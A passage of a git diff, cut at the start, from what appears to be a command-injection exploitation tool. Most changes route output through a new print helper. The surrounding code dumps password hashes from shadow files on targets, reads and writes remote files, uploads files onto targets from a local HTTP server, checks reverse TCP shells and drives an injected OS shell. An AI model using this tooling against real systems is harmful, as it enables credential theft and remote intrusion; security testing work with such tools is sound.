is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2315,22 +2315,22 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) + settings.print_data_to_stdout(sys_users) with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) pass """ @@ -2342,11 +2342,11 @@ def print_passes(sys_passes, filename, _, alter_shell): sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split() if len(sys_passes) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" info_msg += " user" + ('s', '')[len(sys_passes) == 1] info_msg += " password hashes [" + str(len(sys_passes)) + "]:" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2358,7 +2358,7 @@ def print_passes(sys_passes, filename, _, alter_shell): if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + settings.print_data_to_stdout(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2370,15 +2370,15 @@ def print_passes(sys_passes, filename, _, alter_shell): if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(fields[0]) with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(" " + fields[0]) else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print single OS command @@ -2386,7 +2386,7 @@ def print_passes(sys_passes, filename, _, alter_shell): def print_single_os_cmd(cmd, output, filename): if len(output) > 1: _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, output)) + settings.print_data_to_stdout(settings.print_retrieved_data(_, output)) try: with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2395,7 +2395,7 @@ def print_single_os_cmd(cmd, output, filename): pass else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) """ Quote provided cmd @@ -2503,7 +2503,7 @@ def file_content_to_read(): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") else: @@ -2519,7 +2519,7 @@ def file_content_to_read(): def file_read_status(shell, file_to_read, filename): if shell: _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) + settings.print_data_to_stdout(settings.print_retrieved_data(_, shell)) with open(filename, 'a') as output_file: if not menu.options.no_logging: info_msg = "Extracted content of the file '" @@ -2528,7 +2528,7 @@ def file_read_status(shell, file_to_read, filename): else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check upload/write destination @@ -2555,7 +2555,7 @@ def check_file_to_write(): file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() if not os.path.exists(file_to_write): err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if os.path.isfile(file_to_write): @@ -2567,13 +2567,13 @@ def check_file_to_write(): content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) dest_to_write = check_destination(destination=menu.options.file_dest) info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return file_to_write, dest_to_write, content """ @@ -2582,10 +2582,10 @@ def check_file_to_write(): def file_write_status(shell, dest_to_write): if shell: info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ File upload procedure. @@ -2596,16 +2596,16 @@ def check_file_to_upload(): _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() dest_to_upload = check_destination(destination=menu.options.file_dest) info_msg = "Trying to upload the file from '" info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload return cmd, dest_to_upload @@ -2616,10 +2616,10 @@ def check_file_to_upload(): def file_upload_status(shell, dest_to_upload): if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if defined "--file-upload" option. @@ -2637,7 +2637,7 @@ def file_upload(): # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Setting the local HTTP server. @@ -2649,7 +2649,7 @@ def file_upload(): ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass else: settings.LOCAL_HTTP_IP = ip_addr @@ -2658,12 +2658,12 @@ def file_upload(): # Check for invalid HTTP server's port. if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535: err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT) info_msg = "Setting the HTTP server on '" + http_server + "/'. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break @@ -2671,7 +2671,7 @@ def file_upload(): elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() break elif enable_HTTP_server in settings.CHOICE_QUIT: @@ -2688,20 +2688,20 @@ def check_wrong_flags(): if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " warn_msg += "target has been identified as Windows." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : warn_msg = "The '--file-upload' option, is not yet supported Windows targets. " warn_msg += "Instead, use the '--file-write' option." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) raise SystemExit() else: if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " warn_msg += "the target has been identified as Unix-like. " - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Set writable path name @@ -2709,10 +2709,10 @@ def check_wrong_flags(): def setting_writable_dir(path): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Using '" + path + "' for writable directory." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in directory '" + path info_msg += "' for command execution output. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Define python working dir (for windows targets) @@ -2789,16 +2789,16 @@ def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: total_of_requests() # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) sub_content = str(url_decode(payload)) - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 155b743aa1..fff76ed528 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -83,7 +83,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) @@ -135,7 +135,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.TARGET_OS = settings.OS.WINDOWS info_msg = "Heuristic (basic) tests shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) settings.SKIP_CODE_INJECTIONS = True break @@ -143,7 +143,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -174,14 +174,14 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic (basic) tests shows that " info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) break settings.EVAL_BASED_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -314,18 +314,18 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -340,12 +340,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.HEURISTIC_TEST.POSITIVE = False warn_msg = "Heuristic (basic) tests shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): info_msg = "Skipping " info_msg += settings.CHECKING_PARAMETER + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.HEURISTIC_TEST.POSITIVE = True else: if menu.options.failed_tries and \ @@ -354,7 +354,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg = "Due to the provided (unsuitable) injection technique" warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. @@ -375,7 +375,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time warn_msg = "The tested " warn_msg += settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) if not settings.CHECK_BOTH_OS: break @@ -661,14 +661,14 @@ def perform_checks(url, http_request_method, filename): # Check if authentication page is the same with the next (injection) URL if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): err_msg = "It seems that the authentication procedure has failed." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() elif menu.options.auth_url or menu.options.auth_data: err_msg = "You must specify both login panel URL and login parameters." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: pass @@ -724,13 +724,13 @@ def do_check(url, http_request_method, filename): if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) # Check for "backticks" tamper script. if settings.USE_BACKTICKS == True: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) perform_checks(url, http_request_method, filename) @@ -762,7 +762,7 @@ def do_check(url, http_request_method, filename): err_msg += "." if settings.MULTI_TARGETS: err_msg += " Skipping to the next target." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index fd261fd8ea..a004bcb361 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -33,7 +33,6 @@ def logfile_parser(): Warning message for mutiple request in same log file. """ def multi_requests(): - print(settings.SINGLE_WHITESPACE) err_msg = "Multiple" if menu.options.requestfile: err_msg += " requests" @@ -45,8 +44,8 @@ def multi_requests(): elif menu.options.logfile: err_msg += " targets " err_msg += "will be ignored." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + return False """ @@ -56,7 +55,7 @@ def invalid_data(request): err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.requestfile: @@ -68,7 +67,7 @@ def invalid_data(request): if not os.path.exists(request_file): err_msg = "It seems that the '" + request_file + "' file, does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: @@ -99,8 +98,7 @@ def invalid_data(request): except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() single_request = True @@ -146,10 +144,9 @@ def invalid_data(request): menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Add extra headers @@ -177,19 +174,17 @@ def invalid_data(request): request_url = request_url.replace(scheme, scheme + menu.options.host) request_url = checks.check_http_s(request_url) info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + menu.options.url = request_url - if single_request: - print(settings.SINGLE_WHITESPACE) if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) if menu.options.data: sub_content = "POST data: " + menu.options.data - print(settings.print_sub_content(sub_content)) + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 3bb02b5ad4..1696cd0b20 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -36,10 +36,10 @@ def check_established_connection(): while True: time.sleep(1) if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "Something went wrong with the reverse TCP connection." warn_msg += " Please wait while checking state." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) lines = os.popen('netstat -anta').read().split("\n") for line in lines: if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: @@ -78,11 +78,11 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ check_established_connection() else: if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Configure the bind TCP shell @@ -166,7 +166,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return go_back, go_back_again # The "bind_tcp" option diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 7132c2eb2b..e2b74a8529 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -119,7 +119,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -168,14 +168,14 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except: @@ -217,13 +217,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -246,7 +246,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) @@ -256,10 +256,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -279,18 +279,18 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) return False else: - sys.stdout.write("\r") - sys.stdout.flush() + settings.print_data_to_stdout(settings.END_LINE.CR) + """ The exploitation function. diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index b9aaa2d3fa..ab5f94b3c1 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -174,9 +174,8 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -254,7 +253,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques tries = tries + 1 else: err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return response @@ -275,11 +274,11 @@ def injection_results(response, TAG, cmd): # Replace non-ASCII characters with a single space re.sub(r"[^\x00-\x7f]",r" ", html_data) - for end_line in settings.END_LINE: + for end_line in settings.END_LINES_LIST: if end_line in html_data: html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) break - + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 316b4394c7..98524a86c4 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -132,7 +132,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - print(settings.print_payload(payload)) + settings.print_data_to_stdout(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -180,14 +180,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.injection_process(injection_type, technique, percent) except (KeyboardInterrupt, SystemExit): - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise except EOFError: if settings.STDIN_PARSING: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) raise except: @@ -253,13 +253,13 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print(settings.OS_SHELL_TITLE) + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -289,10 +289,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print(settings.command_execution_output(shell)) + settings.print_data_to_stdout(settings.command_execution_output(shell)) else: err_msg = common.invalid_cmd_output(cmd) - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -312,18 +312,18 